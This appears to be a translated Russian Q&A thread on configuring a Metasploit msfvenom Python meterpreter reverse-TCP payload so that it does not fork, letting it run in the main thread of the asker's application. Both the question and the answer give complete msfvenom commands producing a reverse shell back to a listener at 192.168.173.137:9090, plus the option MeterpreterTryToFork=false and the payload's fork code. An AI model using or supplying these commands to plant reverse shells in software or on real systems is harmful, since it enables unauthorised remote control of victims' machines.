Как я могу предотвратить форкание полезных нагрузок Python msfvenom без ручного декодирования полезной нагрузки?

Вопрос или проблема

Я создаю полезную нагрузку на Python с помощью msfvenom, используя следующую команду:

msfvenom -p python/meterpreter_reverse_tcp -f raw --platform python -e generic/none -a python LHOST=192.168.173.137 LPORT=9090 -o stageless_payload.py

Полезная нагрузка работает и подключается к multi/handler, но она запускается в отдельном демон-процессе, который инициируется этим фрагментом кода в сгенерированной и декодированной полезной нагрузке:

_try_to_fork = TRY_TO_FORK and hasattr(os, 'fork')
if not _try_to_fork or (_try_to_fork and os.fork() == 0):
    if hasattr(os, 'setsid'):
        try:
            os.setsid()
        except OSError:
            pass
    # логика подключения продолжается...

Декодируя полезную нагрузку, я обнаружил, что установка флага TRY_TO_FORK в False предотвращает создание форков, позволяя ей работать в основном потоке, что мне необходимо для моего приложения.

Есть ли способ указать msfvenom избегать создания форков или напрямую установить TRY_TO_FORK = False во время генерации, чтобы мне не приходилось каждый раз вручную декодировать и изменять полезную нагрузку?

Я только что узнал, как это сделать, и в всей документации metasploit они упоминают этот флаг ТОЛЬКО ОДИН РАЗ!!

В любом случае, вам просто нужно установить MeterpreterTryToFork=false.

Таким образом, новая команда будет:

msfvenom -p python/meterpreter_reverse_tcp -f raw --platform python -e generic/none -a python LHOST=192.168.173.137 LPORT=9090 MeterpreterTryToFork=false -o stageless_payload.py

[источник]

Ответ или решение

Для предотвращения создания дочернего процесса при использовании полезной нагрузки Python, сгенерированной с помощью msfvenom, вы можете использовать флаг MeterpreterTryToFork. Он позволяет указать, что вам не нужно, чтобы полезная нагрузка форкала процесс.

По умолчанию, полезные нагрузки Meterpreter могут пытаться создать дочерний процесс с помощью функции fork, что может быть нежелательным в некоторых сценариях, например, если вы хотите, чтобы полезная нагрузка выполнялась в основном потоке вашего приложения.

Для того чтобы предотвратить форк, добавьте следующий параметр в вашу команду msfvenom:

msfvenom -p python/meterpreter_reverse_tcp -f raw --platform python -e generic/none -a python LHOST=192.168.173.137 LPORT=9090 MeterpreterTryToFork=false -o stageless_payload.py

Таким образом, вы устанавливаете флаг MeterpreterTryToFork в значение false, и тем самым исключаете возможность форка, позволяя полезной нагрузке работать в основном потоке.

Это решение избавит вас от необходимости вручную декодировать и изменять полезную нагрузку каждый раз, что значительно упростит процесс её генерации и использования в ваших приложениях. Вы можете найти дополнительные детали и документацию на эту тему по следующей ссылке: Metasploit Documentation.

Оцените материал
Добавить комментарий

Капча загружается...